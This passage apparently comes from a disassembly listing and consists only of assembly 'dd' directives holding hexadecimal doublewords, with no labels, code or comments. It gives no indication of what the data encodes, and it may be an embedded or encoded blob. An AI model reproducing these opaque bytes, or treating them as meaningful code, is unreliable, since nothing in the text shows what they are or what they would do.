dd 0BF50808Dh, 0F6BB2512h, 4E26A0B5h, 64E25BF0h, 0D0883A01h dd 0A3D108EAh, 26CB1920h, 487A9F8Eh, 13FD089Ch, 0D6FE303Bh dd 0B7ACEAD5h, 39828137h, 5CF7543Bh, 1B82630h, 5FD93D43h dd 39DB2090h, 0E50553Ah, 0BE8A2896h, 0ED7A6AD6h, 0CEDD027Bh dd 56F8E51Eh, 5B253CE0h, 2B4E5F62h, 0DE1175BDh, 0F68B100Eh dd 0F55EBD7Ch, 24D99E60h, 0C89A9513h, 1412BA7Ch, 0A8F374BBh dd 0D14A7174h, 942F9BCAh, 0FCDA9EDBh, 1E32A8E8h, 494C5066h dd 2E37026Ah, 0BC2C29Ch, 0D590FAB9h, 0B25CDF90h, 0DF2EC11Fh dd 0C51A0701h, 29D59FA0h, 48FCE22Eh, 90F809A9h, 0E99F0451h dd 0CD5B78D2h, 6018C439h, 254DCC72h, 0CEF43CB4h, 0EEB33092h dd 5EADF84h, 3DC2DC8Ah, 542DCAE5h, 3ED16BC5h, 173804ADh dd 11C6500Ah, 8F5A760Ah, 499B108Ch, 894AABB3h, 7EE73AB1h dd 51A2A7A0h, 3AD26B09h, 97BE5A76h, 0FAD8FA5Bh, 0B7BD0414h dd 0AC1B5F73h, 0CEFCD3DAh, 0AB538F80h, 0A60E418Dh, 0AA0E5CD9h dd 49279421h, 82425F95h, 0FC602309h, 4B111E31h, 172A6A61h dd 31ABF5A0h, 2E7A315Ch, 9A00457Ah, 7AE0224Dh, 0B228E6F3h dd 5FA2B7D3h, 36C4CE54h, 83C8B04Ah, 70E63F8Dh, 4FB90C04h dd 12C071E4h, 955BF957h, 371BB7A6h, 5B4E46B7h, 0DB042060h dd 4616C578h, 0DCEB6B22h, 0AE988B11h, 128D83D0h, 0D7B4C8BFh dd 0A4BD5E23h, 852F31D7h, 37B3D5CDh, 0C6D1613h, 45C50ABCh dd 0D921BE01h, 0B42BFC8Ah, 0FA12B7A1h, 9E04C82Bh, 3FDC097Dh dd 0E2D53B5Eh, 41DE2F87h, 42601E91h, 8B8E9C40h, 0FBFD100h dd 0E935D62Bh, 60B8B5A1h, 9B001523h, 0E2D1D925h, 0EABFF2h dd 0A5EC56FDh, 69EBA836h, 1CD91B58h, 5F404C44h, 0D8E4BF60h dd 0D72F5DEDh, 61621F20h, 560EADC6h, 0B4F946FAh, 0A265128h dd 0F156EAE1h, 1B4345B9h, 48D98E25h, 0EFC4AD4Fh, 0CBD0AC23h dd 0E8606451h, 7F010F3Fh, 1141128Ah, 21B7547Bh, 0D862C6B9h dd 25579955h, 2BDE8B11h, 8EF4E367h, 4055F998h, 95518901h dd 44043A79h, 0D9AD0A88h, 17608F84h, 0F82688EAh, 6A9AD8A3h dd 7074FBF7h, 2D39EC9Eh, 0A3848247h, 0C03BBF49h, 95451D43h dd 1402D79Bh, 23B94377h, 0E73DD50Fh, 0C789C001h, 122F3136h dd 0EB65BA0Dh, 0A6C0F49Ah, 6E406420h, 19B7BF05h, 178D2289h dd 75CAD418h, 6DCB0785h, 0D7CFFFD5h, 0FC24B0BAh, 0CD95C02Bh dd 0F59CE0F5h, 6B09C764h, 1A701A38h, 9F36F795h, 0F3D22B25h dd 0A5657000h, 509D36E8h, 0F792064h, 2BB2C1B7h, 6B59B6Fh dd 0C1852957h, 5060B527h, 884B0DF9h, 9ECA5A9h, 3E6C927h dd 8A9D296Fh, 886C5D19h, 85754603h, 0E8383968h, 0EE7135EDh dd 0CD910165h, 0B3F9EB58h, 88E62F36h, 0E7CABF3Dh, 3FAB5F15h dd 0CB930083h, 0C5A2D3F9h, 7F125F8h, 9601EC5h, 9520D995h dd 755EC69Ch, 44D6B0F3h, 4E0CC937h, 0E5DE16B8h, 52AB02C0h dd 0F2620A8Ch, 5730E55Ah, 0D4A56EC5h, 0AE09D43Eh, 63DE013Ch dd 100FA3BFh, 1F1F7160h, 0C301E1FFh, 3A218825h, 0F6F1292Bh dd 0C27ECD2Bh, 756035F6h, 0D213D8D5h, 850453B9h, 8EAF33F9h dd 0C4092297h, 0AF026DA4h, 0C022978Eh, 743797h, 799FF202h dd 94CD34Eh, 0E4C52AC7h, 6BAE605Bh, 395006Ah, 0B445D8AEh dd 5F605C34h, 55072118h, 54E8533h, 88BB2917h, 2BE361B2h dd 88C36C91h, 0FA34182Eh, 0F88119DDh, 691C482Eh, 9BA9B389h dd 94A6A079h, 0DC17006Bh, 995610DEh, 937D010Bh, 8CA09C09h dd 0D67F54F0h, 0DC091646h, 38713F7Fh, 0AC5D90A7h, 0E1700062h dd 44F57C71h, 0B84FDD33h, 57047349h, 81B97A37h, 69306B5Fh dd 0DD20DAE2h, 0C71169BDh, 0FF4080EFh, 24A4C8Bh, 8E3F942Ah dd 9AD770D0h, 0B795D84Ah, 60271BC5h, 0B75FFB64h, 0F2AD5DF6h dd 61909F20h, 181206B0h, 16BF9AE3h, 2FA184Fh, 1E0ABB61h dd 0FA15EE3Eh, 58164F29h, 2EE035B6h, 18955CDAh, 25BD2378h dd 5DCE2B0Dh, 48C8515Ah, 0B11600C1h, 13A84EECh, 0A27489B5h dd 5D117701h, 6DE95F8Dh, 0B16D3225h, 0BA0165B8h, 0C4F3C09Dh dd 3D508E53h, 0D7A3AAh, 0CE4CCFFAh, 0E83E56BFh, 0F9581B09h dd 0BD6A7012h, 9FDEF838h, 0C7FDB500h, 7C8C66Ah, 208D90B8h dd 5B4B1C09h, 0F5826098h, 0D202616h, 3F099F32h, 42AF5E59h dd 0B198024Ch, 0E9615C07h, 89009957h, 62FE1C92h, 45CF5A0h dd 2040152Eh, 73A366h, 36B68AEBh, 79C8D8BBh, 0C57CF16Eh dd 0F4FF035Bh, 52489692h, 92957422h, 78B17BDFh, 8500B121h dd 0FBBDF06Ch, 0C24C466h, 0E9CCA468h, 6095FA7Fh, 1375BD9h dd 0D2BF0E35h, 0A0CEE4Eh, 1CB04256h, 9037A249h, 504BE650h dd 0BF1E4042h, 6F6E5209h, 0D6945638h, 0CB001B46h, 93DC7A5Bh dd 0A90E831Fh, 7792BB66h, 5880D0ECh, 48550F9Fh, 0FFC83D4Fh dd 0B2330063h, 0E6E5847Eh, 0FD13D74Ch, 76DB615Fh, 6A85BF81h dd 39E6899Ch, 0EB107108h, 1921D307h, 70939C5Dh, 0E63EE165h dd 0AAD5F0B1h, 45420F64h, 0C3F29D16h, 0BC312Ah, 5465EF81h dd 0E94815E6h, 68E9354Bh, 9F748186h, 85DCAC8Bh, 3CABF81h dd 1DDD9EA9h, 0BF66D04Ch, 0F7B93B2Dh, 9A5F8F12h, 40165CC9h dd 0B2B82162h, 9B00457Dh, 52C0B6FCh, 74A3D03h, 9F4B78B1h dd 0E0599918h, 0F934F544h, 7DC5AD46h, 991A45CEh, 7FF94BC9h dd 1523756Bh, 6E65831Ch, 0D13595A5h, 0F2165002h, 3A30DF4Bh dd 0E28B028Dh, 0E98256F9h, 0AD4C6F4h, 0ADD78001h, 889827AEh dd 9674C048h, 0CBD5D902h, 0CC605021h, 0E686E1h, 0D3D4FD30h dd 2161626Fh, 1F001BEEh, 3817A79Bh, 3FF779E6h, 9625C674h dd 0D72F6E37h, 8D01F4B8h, 83289926h, 4A92148Eh, 9C1DD0Eh dd 0A87B7985h, 2510883Dh, 1959CB53h, 7D059718h, 0E25FC4AFh dd 6CE7CE57h, 3BB548B1h, 1CB296B6h, 940530h, 0A561BE40h dd 60560D69h, 5120C390h, 83589533h, 97613440h, 0BDE8011Bh dd 659528A5h, 6FE371B6h, 0F9A8E484h, 895BC85Ah, 0D97DB103h dd 5DCE61F9h, 954ABD9Ah, 0E0B4A6DEh, 9702BF6h, 30F956B0h dd 90A7BD60h, 7EFD8A25h, 1646D618h, 0B318E05h, 0B5A60FF9h dd 29022E48h, 1A140D95h, 0EFBD4A5Ah, 86740C5h, 1C4983A4h dd 506F9F62h, 0AD2E9CB9h, 1A10B59Bh, 895E25E5h, 0CA1F2AB9h dd 9224FB94h, 802B30EBh, 9B58DDBh, 7EB15D77h, 5129C28Fh dd 9F3845AFh, 31AD8074h, 0C40F4E8h, 993B2CDEh, 198429BFh dd 0C19A90BFh, 2F55F933h, 1231B928h, 0B729B19Dh, 0CEF84BB9h dd 0B915D4D0h, 70981E09h, 96950CA9h, 9DB59DBAh, 0CE9A6101h dd 0F7CC145Dh, 80869933h, 9EE60716h, 0D80337C3h, 0DA0CF444h dd 2841B822h, 0D15A09FAh, 0B182CBFDh, 0D056628Eh, 0B2165951h dd 0F395057Bh, 0C076A74Dh, 0FFDEA540h, 0A903025Eh, 0C6E235E4h dd 400B6F77h, 0F0CFEECBh, 0FA580605h, 0A6046AEAh, 0AF1315B1h dd 19E5FD75h, 973DAD21h, 4BE88F4Ah, 0CB876E9Ah, 82B93048h dd 0E9257B6Fh, 0B7DB60B1h, 0C18B2C8Dh, 720ADEFEh, 0ADAB889Bh dd 56226109h, 0D9DF5A2Eh dd 2882F999h, 0BD0B2056h, 8940CF76h, 738278Dh, 5AEACA16h dd 5033E061h, 904F23B3h, 6D05116Eh, 0E96A8A08h, 4FC4BD9Eh dd 0DD212FC1h, 5CCE2255h, 1B848125h, 0A860ACFAh, 0D42C12AAh dd 60D5B00Bh, 76265FBEh, 0AE493D12h, 8EE461h, 24D6B4AFh dd 0B28B8556h, 0EF388600h, 0D1EEF56Eh, 0F12A2EA9h, 0BDB1091Fh dd 0AE614D84h, 4AC0BE9Eh, 0F2685D3h, 0C3058922h, 3F4DF7C8h dd 9D2D547Ch, 4482CD55h, 0BAA36019h, 9FD9F92Bh, 58913D30h dd 0C584A505h, 0D474AA2Ah, 0E0028Ch, 0D9DB81E1h, 0D4D0127Fh dd 28304412h, 0EF257C00h, 5A6E5095h, 5B8BB790h, 0FE255B6Ah dd 0FF899076h, 72440ED1h, 0CA4AC6ECh, 70983842h, 78CCFB95h dd 0B3A88F8Ch, 6A13EDF8h, 0D5D05602h, 71FABF90h, 17305AA2h dd 22DBAF48h, 8649A881h, 7C83F8C5h, 2AE55BB0h, 0AA00D5F7h dd 1E6D034h, 0DA162920h, 8C24EF1Dh, 80459EAFh, 0D014EFFEh dd 816E4A86h, 20E178h, 970E88E9h, 25484616h, 0E8FC5998h dd 0BBDF80DBh, 9290F40Bh, 0C42A566Fh, 81F434BDh, 0F0B5A060h dd 663A023Eh, 612432BAh, 9B690D5h, 0C1F94D85h, 0B84EED4Ah dd 9018C17h, 802025D0h, 132E99C7h, 117EBA63h, 0BB56620Ch dd 0A9D609DEh, 1BAC72A9h, 357708Ch, 0C5355933h, 0BBC4E1B1h dd 0C6848417h, 0B92785EEh, 0F096B878h, 0FF33007Eh, 819AB39Dh dd 541769DFh, 2F0501F9h, 0BAFD2111h, 0E809ABE8h, 7334B0FEh dd 3D4D1185h, 22A4CB29h, 72B805BFh, 0D1B06760h, 429F10Eh dd 0C11092ADh, 0ADBF0227h, 110E80DBh, 14E81125h, 0D4CAF017h dd 8200B7F6h, 0B19A328Dh, 9271CA8h, 3F64ED11h, 0EE77D705h dd 803CE5A2h, 0E05FDC92h, 0D309BF8Fh, 71737683h, 0BD090788h dd 7F4B384Dh, 9D12EB46h, 8EE22C45h, 89B50906h, 5FE2F19h dd 68B20F4Ah, 759E262h, 0F09B5809h, 2F1D6591h, 2F17EFD1h dd 8421B6B6h, 722D291Fh, 0C1A5E848h, 9DBF6617h, 50A7702Dh dd 47554C18h, 0B61E2158h, 2F6189E8h, 56047D71h, 3EAC5BF5h dd 0C31BC180h, 1004622h, 0CED08C80h, 6A1419FBh, 918932EAh dd 1C95809h, 20D2E9AEh, 0F9CC7810h, 482EE35Bh, 3182159Dh dd 12229B5h, 91DE8A51h, 2A7D4A74h, 9585D585h, 9D11734Ch dd 2FC81BE9h, 0F5BD2B8Bh, 96564962h, 11162BCAh, 91DA05B5h dd 0A548E985h, 70460033h, 0A7BE8EC5h, 0CD121DC0h, 9CE6EF8Ch dd 0FB6FB216h, 43C375DBh, 0FBD059A1h, 7B485C14h, 2B21261h dd 0E4950509h, 8A0F3A9Bh, 0B5FC23C4h, 6EAF195Fh, 35605A6Fh dd 4E180B0Ah, 0F7DEB0EEh, 344BFh, 4584DEA8h, 0DC4A16B8h dd 10286148h, 0B90B33C1h, 52D3104Fh, 2AA93D0h, 9D295C92h dd 0CD5634EDh, 0D8E1F892h, 6C7686D9h, 85BBEB0Fh, 9D550592h dd 94F3FA32h, 31B1F507h, 9E9890C4h, 0C05C2B5Dh, 165A7157h dd 0A65AF3B6h, 15F9D7B4h, 1E074EA8h, 2DBDBB65h, 0A90B0C73h dd 4D3930FDh, 7A5E893Bh, 726B0346h, 0A17FF99Fh, 532E894Bh dd 76FFFA7h, 0A7904C00h, 0E5FBAAB2h, 7452334Fh, 0F027A6AFh dd 97FD8AD2h, 1A56A63Ah, 85B604D4h, 0ABFCD92Bh, 1AC8C02Eh dd 2EE0EEC7h, 1E79584h, 0BDD781C6h, 3A5E3DCAh, 0C680E4DBh dd 0D2132FB9h, 4A4566EFh, 8127EBCAh, 0CB60A2CFh, 0ECD1320h dd 0B848DA32h, 96E3113h, 0DB722E25h, 95E16156h, 9C105B13h dd 0FF1616CDh, 80F79BE1h, 99B80E75h, 60DA2D95h, 2F018FD1h dd 0FDC6D9A0h, 7762DF68h, 1760565Fh, 87C23095h, 5CFB8B61h dd 0A7F751F7h, 4B945089h, 28D38E17h, 9D1213FFh, 0D3E328A1h dd 6093B688h, 8DB8F9FDh, 788942Ch, 561A3109h, 0E3514BCEh dd 99404C1Fh, 0E877A46Ch, 0B946040Ah, 0B8D5C0AFh, 0B5E04FA6h dd 92024BF9h, 0B2B12A4h, 1A355DC5h, 0A253B1ADh, 0C8C3DA2Ah dd 23CDC014h, 0FC92D5BDh, 0FEA2504Bh, 8957D600h, 293B1CFCh dd 475D5316h, 60F380FFh, 0A0059BEh, 33BF2617h, 626593A3h dd 2404B261h, 1D085074h, 6AA43D15h, 0FA07F478h, 65CD4CE4h dd 0C704E145h, 29140CD1h, 21FBD10h, 7EB06B68h, 0E99AC1FBh dd 73E56C6h, 52A05394h, 756D88Bh, 11A46D6h, 6A126980h dd 873B7E63h, 1614A255h, 806C7A5Ch, 0E9FF1733h, 0AB4AC512h dd 0EE314720h, 7BA10055h, 0C34E6944h, 8800E767h, 2C563DF7h dd 27B5095Fh, 0A67C1BE1h, 0BCE380E1h, 0E93A162Eh, 0F030EC50h dd 68D7620Bh, 0CB2E2261h, 0F6FB5423h, 519CF6BDh, 80FA3CFCh dd 0A78241D1h, 0CE680E14h, 28A9E7C3h, 7B5F3A5Fh, 897650CFh dd 644CED01h, 49EFA9FCh, 53E03A57h, 19DB260h, 0ECD77548h dd 20890234h, 5B48F972h, 6AFEA4BFh, 4F2E120Dh, 6E6AC8E1h dd 5ADE0002h, 0B7AA46FDh, 6F650B06h, 35D65150h, 0A4AD7940h dd 72D400D6h, 341821C2h, 0B602E04Eh, 9F0C074Ch, 281680E9h dd 3E0D440Fh, 0CF805783h, 0B3E738CEh, 8E0967E4h, 565B1508h dd 56EADE3h, 5A2F44BDh, 0E0E7E7B5h, 4BF40E79h, 313B301Eh dd 17408DBDh, 325A0968h, 8BDFEC86h, 0BBE7D633h, 6E30BF07h dd 5A5FB18Ch, 0A5DF2458h, 0D098D12Dh, 31A125CCh, 5B6BF159h dd 4A4E50F6h, 87E26400h, 0E5BFFC8Ah, 60DE04CBh, 0F104D380h dd 16972C2Ch, 64BF5BDFh, 0F96F9572h, 6EC5B9CFh, 5F4C4236h dd 6147494Ah, 0F7808FB7h, 2AFD9647h, 0CB194B0Dh, 0DF81010Ah dd 5105C954h, 9D24220Bh, 8FF865DBh, 87332186h, 0D835AFDDh dd 0D86B2700h, 1E8F518h, 33CB5798h, 6B2F4D9Dh, 10A039B7h dd 52B855F7h, 6676B201h, 61CD2BBAh, 98F1282Eh, 5DFD044Eh dd 7C3A98E8h, 2DD2480h, 5BA66B59h, 0AA03DE8Ah, 3EA96D57h dd 0CB80F0D9h, 0EC38BFC7h, 27840D25h, 503D15F9h, 7482DC03h dd 4FC7F8E3h, 2EEE252Bh, 0ED9537C4h, 7D5BE1B6h, 0B0876ACBh dd 0ABB07F09h, 0C8006CFDh, 0CA8D2A7Dh, 1B8B72BFh, 0DA626671h dd 0F395CFD6h, 181B5927h, 0A591008Dh, 1B051D9h, 600B50CAh dd 0FA61DE8Bh, 949D5AD7h, 0ACC6B914h, 7D958C1Ch, 0C062AF80h dd 9462344Eh, 2E4D60h, 26DBD89h, 0BC0D9697h, 0B274D4CFh dd 3DA33A5Eh, 70E4D946h, 0F2A69897h, 5BC4BB04h, 20BA400Dh dd 9F630107h, 6BA9A000h, 335E70Ah, 7B9E040Eh, 0AFC4D39Bh dd 0B0D41CFh, 2BF5959Dh, 0C54A41E3h, 80D0DBDAh, 11B58910h dd 9077822Bh, 0F8E8887Eh, 0D5313FD0h, 0FF5804Bh, 0E922DFB7h dd 0B4550008h, 9326F904h, 3A972089h, 75B5FDDCh, 0A29AE20Fh dd 0A0B523DEh, 4E175D34h, 0A1150B61h, 7609EDBBh, 0CF42335Fh dd 47812C3h, 91852976h, 4E438E2Ah, 0E209986Ah, 0F955A161h dd 9AB7090Bh, 91DD35DFh, 68428019h, 4C80F5Ch, 8D896086h dd 0F5D49109h, 9523E461h, 0F61AA929h, 3F0F3D08h, 4B809628h dd 0FE1EC3DEh, 0D2C780C0h, 0BB0476A4h, 758DBF17h, 42DE15BCh dd 59E97F35h, 5651145Eh, 0EB499612h, 7B52D1DAh, 96BECF34h dd 4F9B8205h, 139BE78h, 1F562E46h, 6FD9F26Ch, 5A0CC8h dd 0C3DD347Dh, 0D54B1EFCh, 0B2234D00h, 32717F0Eh, 34DA09D6h dd 0F0559D2Bh, 0A85B4BE3h, 7F2EAA18h, 0D6E800ECh, 0FB8B4F39h dd 40509A97h, 82267DB7h, 12BAEC77h, 291B559Dh, 0F2206E31h dd 18B7DCh, 16F3AAFAh, 891E8A63h, 6ADDC500h, 726728C4h dd 0D6507A43h, 5B8D826Eh, 0CDEB705Eh, 0E17E40A9h, 8A093637h dd 79509F13h, 0FDA04553h, 28FEC66h, 724A8475h, 1557C7A8h dd 2ADFAE16h, 8D4DB540h, 9C601564h, 0D009BB35h, 593AA814h dd 918C00DDh, 703FC36h dd 0A4658D00h, 7C76390Eh, 6CB71C90h, 2E58444Ah, 0A97AEEC6h dd 607F600h, 0DA4A5C35h, 0B79A9E97h, 0ED411ACDh, 0C16A87E9h dd 0EABD03C9h, 0C18BCC48h, 0C0D16DB5h, 84FDE05Bh, 14A69200h dd 31A2A999h, 0AB26D28Dh, 0DCE4B7E6h, 109D7A1Bh, 5E5367h dd 0EDBD1A0Fh, 506B3C38h, 85379B5h, 982F111Dh, 4EBD092Ah dd 0B914C429h, 7ACE889h, 0DE4D1EA6h, 6F0B7980h, 379FFDD8h dd 8C4594A8h, 0AD0A620Bh, 0DE585Ch, 0CE572551h, 0FECB8090h dd 0BA4F54Fh, 880550C0h, 500640D5h, 0A9B2BF3Dh, 4B2B978Dh dd 0C4D0BF79h, 0F13B0984h, 15EF960h, 6884E193h, 0BC3DFDAAh dd 0F44D008Ch, 91B1D5D7h, 7A03F661h, 0DE2870BFh, 97647A3Fh dd 18C5A794h, 0CAAE0EF5h, 8EB5E0A6h, 0BA4E142Eh, 760B9528h dd 0E0EDD1FFh, 7B2818C0h, 0B194973Dh, 0F13E2E45h, 25BF3DFAh dd 269CE002h, 0CD905EF3h, 0B4FC7A4Bh, 49196680h, 37014305h dd 10139558h, 11769035h, 0E9FC8A04h, 8D38AE1Fh, 9739906Ch dd 29E2A8CDh, 0C7D8C021h, 4B4A04BEh, 8C61237Bh, 0D600A7CFh dd 0CC01DA05h, 0B585418Ah, 0D45A54DBh, 0CB4EC293h, 0DDBE13E0h dd 271EBA0Bh, 0D36FF561h, 0BE961640h, 7DA1057Fh, 0F8210149h dd 0E50525F0h, 647D2588h, 95879F8Ah, 5104F829h, 76BD6159h dd 0C48BE94h, 57EAD825h, 40F2EFD7h, 928F2FE5h, 544C6297h dd 0FCFF8961h, 2A4A2978h, 0EC81279Eh, 204A9752h, 0CA25E339h dd 165CDCA4h, 0A286AC0Ch, 3D92286Eh, 0B06227A0h, 0D5051511h dd 17C17A98h, 0FC109D84h, 4E006894h, 0F4FF140Ch, 56C999h dd 31297950h, 0EC37E7ACh, 0D142AE97h, 0A6626025h, 9273DD7Ch dd 0C2560902h, 1E4A64A5h, 40368563h, 0A6EF2097h, 0DC099F6Fh dd 0DB06BAC6h, 11E48011h, 4FCF938Ch, 0B8B21D0Bh, 55830B2Dh dd 0BC212C04h, 1809942h, 3D5EF912h, 0AB3A503Eh, 84FCD100h dd 0D3DF9D33h, 0B6DB1248h, 0F129C8E5h, 860A2801h, 2A543040h dd 80BFC06Ah, 8B14D7DFh, 8096E8D1h, 7D23A6FBh, 585C00C3h dd 0F3CBBD80h, 810792E1h, 0CA253266h, 469ED350h, 5F7D0CD2h dd 0F3D9DE9h, 7F398651h, 8B87D2ECh, 49072FD8h, 9844054Eh dd 0BD10018Eh, 8A120DADh, 2868F1DDh, 0C6EBDh, 0C552B0BFh dd 48A49736h, 4BF95013h, 8509BE90h, 85A69D61h, 8A4A2354h dd 1ED044B9h, 0AE6E0600h, 7BC45B1Dh, 1CED5900h, 965903Ah dd 24F30BA0h, 93769A9Dh, 795F5B09h, 3326115Dh, 0DC8D8057h dd 1378BABh, 9F82DB81h, 5C2C2688h, 81958914h, 0BDDAB7C4h dd 85DC8454h, 0B1E8D3EDh, 4DF8B4Ch, 0C52DAAFh, 0A58B12BEh dd 44A67AF9h, 0B6910CF0h, 6506037Fh, 71E0FFA0h, 0F4525C8h dd 9F00F35Bh, 0B82BFE65h, 40DE030Ch, 530F0D18h, 0C145FFC8h dd 114A1BE6h, 9319DAFAh, 0D2666B70h, 85B74C27h, 0B9C05D3Ah dd 5B0FE338h, 61F072B6h, 0B458B241h, 34362427h, 22B98A16h dd 0AEF06035h, 1FE5A650h, 273A61CBh, 5CC729FAh, 1100DEBEh dd 0CEA78C85h, 0BFD0EA0h, 0D22B5612h, 7BF7671Ah, 8FCDA580h dd 490A4DADh, 0E5202CD0h, 0DDBF0433h, 0AF4CCAFBh, 18230B6Ah dd 53640100h, 5E8968AEh, 3AF2B58Dh, 75A9FE81h, 16D8E73Ch dd 1F4ADAEFh, 1BB2F9E6h, 8BF45532h, 68417703h, 0F35C0955h dd 5B79F411h, 0ADA0415Ah, 71E06C67h, 3458406Ah, 975D2212h dd 51443714h, 0AD2191F9h, 30002179h, 7177F341h, 90D5EABAh dd 8B395475h, 0FFCD955Fh, 9B611564h, 843165EFh, 9E1FFA1h dd 8B7DC9AAh, 5F2F0D0Ch, 0A044711Ch, 248AB352h, 64692785h dd 0F292F5Bh, 80E91B02h, 0A6EBFF19h, 0BF2125D3h, 521114E5h dd 1CF4FC6Bh, 0C7F96096h, 7BB7D3B8h, 519D04DDh, 9EB1634h dd 24790AE0h, 59BD2902h, 90CDD722h, 44981844h, 2A27008Fh dd 0BD23FCCFh, 71951A4Dh, 2DF09A2Ah, 3EDCA6D4h, 8F974D93h dd 1F7F054h, 410C1283h, 6F2DAA26h, 7BE36A2Ah, 0BD657C03h dd 0A2A8689Eh, 676B5E63h, 406D6529h, 61BB50A2h, 564A66F3h dd 0BDDD8A15h, 172A1FF4h, 1A279297h, 0C67C466Fh, 68031B10h dd 0D1797FF4h, 4656F9DAh, 0A5840B02h, 9BD072Eh, 600D3957h dd 0C620D3F5h, 613340EDh, 37118297h, 905532D6h, 3E4B90D9h dd 38FAA6F7h, 0AC4B01A3h, 0FEE3C0A0h, 0BC3119h, 0CEB7629Dh dd 4A4DB230h, 0D326A178h, 0FE89397Dh, 956870F7h, 46EDDF0Bh dd 182295E0h, 0B531277Fh, 2B15215Ah, 48B75BDh, 0D95BB66h dd 0C8D343BCh, 9B7D7F53h, 0D43AE800h, 0D8FAB6A6h, 0ED352D71h dd 9D04DE5Bh, 80282079h, 7CB8CB2Dh, 0E0EFF4BBh, 0D95F8B68h dd 4532EA82h, 8342274Eh, 46CA22FDh, 0DC73F604h, 39CA8F00h dd 0BC4E586Ah, 0B3962410h, 0B65F3A64h, 0B021E529h, 342E7CABh dd 0C8CDAAC1h, 4F09CB2Bh, 0DAF7D020h, 9562001Bh, 79F363F5h dd 51004B3Ah, 0F9CDB8D2h, 4E314ABDh, 4F17F80Fh, 3E10C5C8h dd 61026BCCh, 404E5404h, 990BF181h, 46A23E5Eh, 1282B574h dd 325D39E3h, 51F3531Dh, 0BEB9700Fh, 1D7E7D98h, 40E83A97h dd 8220992Ch, 0B36FF680h, 6088077Dh, 0C9D12C80h, 0E7D901E1h dd 26612009h, 80BB02C2h, 0E25F2F84h, 0A11ED59Bh, 0BC618DADh dd 0A27B6DEBh, 2934CDC8h, 0DE645037h, 3EE90615h, 0DC419C17h dd 5BEEC22Fh, 0B06725A1h, 3BBF3A56h, 606B1273h, 0F1FB49B3h dd 0A86129A5h, 0A4BBC0E6h, 9744DB48h, 104A7914h, 3AEC0BADh dd 0DCD85F00h, 6441DB89h, 29BD120Bh, 0E38EBC15h, 9B5E5EDAh dd 291AC08Bh, 5ADCFE5Ch, 2F65F177h, 68F96E13h, 8C1DACh dd 8DCECA12h, 0AD062F26h, 0FBF6FB26h, 2925D305h, 34CDCDABh dd 824BB606h, 2723B38Ch, 0EF0B399Dh, 0AB1C5Dh, 0CDC2A6E8h dd 234F350Bh, 2651A97h, 42241DCh, 15B250h, 4E5A891Dh, 25230E2Eh dd 52C283A5h, 0FE92D537h, 4E5AB3ABh, 107D870Eh, 51109C58h dd 19E64F1Bh, 12124B48h, 5E51E30Eh, 0EBAFCAC9h, 8E07D4Dh dd 5A58FD8h, 8D891A37h, 80ABD451h, 25189A3Eh, 50E6384Ah dd 753016B2h, 8D734B63h, 0E90B6E43h, 0DB14DD05h, 2FD98A52h dd 25F45B50h, 0D9D45162h, 0A2DD83DCh, 79057D20h, 2B41A1A5h dd 6AAE3675h, 22ED5F46h, 6AC49C82h, 13016461h, 21EA12F5h dd 170AB16h, 4B618531h, 0C1CC2422h, 7F8D094Bh, 827B98D9h dd 4E5F22D6h, 0DF80158Ch, 5229270h, 0A729BB04h, 54901BFDh dd 28E4E380h, 0F26B8F0Fh, 30CB52CFh, 1650F540h, 0A81B7E2Bh dd 4200AAD7h, 4F102D17h, 5D9025D4h, 0C594D025h, 346C1A15h dd 0E007CD55h, 0F9F152AEh, 781E8927h, 0FCCB00EDh, 8FD3BF96h dd 0D19F6F45h, 0FFF78012h, 0F5C19BB1h, 8F0120ECh, 26DD29FDh dd 0BB40E03Fh, 4E5B7D83h, 0E477A696h, 0A55EBCBAh, 80F12AAAh dd 0F91DD4A7h, 0B9BC09EDh, 3A55F88Bh, 500853E1h, 2A0E0EF7h dd 0C0A1B970h, 49BD232Ch, 6FE5B52Bh, 0A26EB571h, 43CD4AA1h dd 69B5206Ah, 711E2079h, 96C0136Dh, 81FDF7C8h, 80974CDFh dd 5FC0C93Fh, 4A3A1497h, 0EC9DB971h, 10EEBDE8h, 800779BDh dd 0A913BC3Fh, 4A2D9D54h, 4BB8648Bh, 0F388C61h, 0C0448C5Bh dd 5B8DD8Ah, 122E6E5Ah, 0E6BE1145h, 0CDD7099Dh, 600B7160h dd 0E7E9DE8Bh, 5F85C295h, 260126B7h, 0C18B71CEh, 0ACDE352Bh dd 9111061h, 50905B05h, 9E7BF852h, 0AF911781h, 0A0C38368h dd 3E0C321h, 0FC4EB95h, 0BAE4B731h, 893E34ACh, 45C6AF4Ah dd 3DB795A4h, 5864F425h, 0B79F6AFCh, 96368B0Ah, 9B7F10E4h dd 3768A301h dd 80986B67h, 6016C02Eh, 0D298AD19h, 649FF1EEh, 16CD2501h dd 4DCB8C54h, 58EC40F9h, 37075C30h, 0A186EDCBh, 8F60B1CAh dd 0A616DCh, 0B2FBA950h, 0D11C7296h, 904E4F7Dh, 0CAF9C8h dd 84546A8Dh, 0D687F8CBh, 0EB1C2572h, 2797F94Fh, 8AF002AEh dd 9DE09080h, 0EE13B008h, 0FC92F81Bh, 0B5E3C6BDh, 0FBAFF5D9h dd 0F673A739h, 2D701650h, 43FC0F75h, 2587502Dh, 0DF66FB8Bh dd 4816DCB0h, 350BC1F7h, 0A7940AD1h, 95BE58C9h, 7F45AD14h dd 2129E9DFh, 0E46E3E09h, 2F80A13Dh, 5ED28734h, 9BA0EEB3h dd 899D4F75h, 42B8286h, 9AB75524h, 570B9701h, 568553E4h dd 0AB5F0F7Bh, 1423916Bh, 0E925F820h, 8FE678Dh, 8848196Ah dd 328602D6h, 7C9D3E05h, 0CD0002D5h, 0A40B072Eh, 0A944D4D1h dd 0F16BD7F8h, 0A59F0E00h, 7213CF07h, 9404F75Eh, 4160B49h dd 91C0188h, 0BD00D590h, 5061C453h, 81C8F1BFh, 0FE5A2EBBh dd 0D4E36F55h, 5176902Dh, 0B88262DCh, 145C65B5h, 8187025Ah dd 0CB67D72Dh, 40424D2Fh, 59BD3374h, 4BB71D40h, 89298CBAh dd 0D74F2BEDh, 7FF6B36Ah, 1801BDE5h, 1DDA7D8Eh, 8866B609h dd 0F6262751h, 6F2F151Fh, 8B1242A7h, 0BB000604h, 1619610Fh dd 21333197h, 0C3A214h, 72B7E69Eh, 9D4C2873h, 581C851h dd 0EC4E88E8h, 30DBE60h, 169AD9BCh, 0F7B08304h, 30E1B061h dd 0E63AFF12h, 5F8BB770h, 0C2AEFC05h, 0D0928DE1h, 0E0973D56h dd 0D47E5189h, 3C2FAC76h, 7C99633h, 8180EBADh, 6758F7EBh dd 272B0E41h, 0BCFF4008h, 10014653h, 99B9B82Eh, 